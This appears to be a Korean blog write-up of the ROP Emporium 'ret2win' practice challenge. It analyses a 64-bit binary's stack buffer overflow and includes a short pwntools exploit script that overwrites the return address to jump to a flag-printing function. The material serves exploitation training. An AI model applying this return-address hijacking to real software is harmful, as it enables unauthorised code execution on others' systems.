[ROP Emporium] ret2win
System/PWNABLE

[ROP Emporium] ret2win

check

- 64bit

- NX만 걸려있음

Analyze

pseudo code (IDA)

main()
pwnme()

- 친절하게 힌트도 준다: read(0, &s, 0x38)에 대한 설명문으로, 0x20byte 크기의 스택 버퍼 s에 56byte를 입력한다는 점과 read()함수를 사용하기 때문에 NULL 바이트에 대해 걱정할 필요가 없다는 메시지이다.

- 위 힌트에서 다 알려줬듯이 0x20byte만큼 할당된 스택버퍼 s에 그 이상의 값을 read함수를 통해 입력받기 때문에 BOF 취약점이 발생한다. 

- 함수목록을 살펴보면 ret2win이라는 함수가 있다. 이 함수는 system("/bin/cat flag.txt")를 호출하므로 이 함수로 이어지게 ROP chain을 만들면 될 것 같다.

Exploit

payload: BUF[0x20] + SFP[8] + RET(ret2win)

from pwn import *

p = process("./ret2win")
elf = ELF("./ret2win")

win = elf.symbols['ret2win']

pl = "A"*(0x20+8)
pl += p64(win)

p.sendlineafter(">", pl)

p.interactive()

Tip (?)

ropemporium.com/challenge/ret2win.html 

 

ret2win challenge

No spoilers here Take the time to read these challenge pages, there aren't any spoilers and they contain important information that could save you some frustration. If you're unfamiliar with ROP tools of the trade then check out the Beginners' Guide. As it

ropemporium.com

이 사이트에 들어가보면 가장 아래에 해보면 좋을 것들..?을 추천해준다.

이번 문제에서는 

ltrace <binary>

를 알려줬다.

이런식으로 각 줄별로 byte수가 출력되기 때문에 ROP chain을 만들때 길이에 대한 감을 얻을 수 있다고 한다.

SMALL

'System > PWNABLE' 카테고리의 다른 글

[ROP Emporium] split32  (0) 2021.03.26
[RopEmporium] split  (0) 2021.03.21
[HackCTF] Pwning (재)  (0) 2021.03.08
[HackCTF] Gift  (0) 2021.03.06
[HackCTF] Look at me (재)  (0) 2021.03.03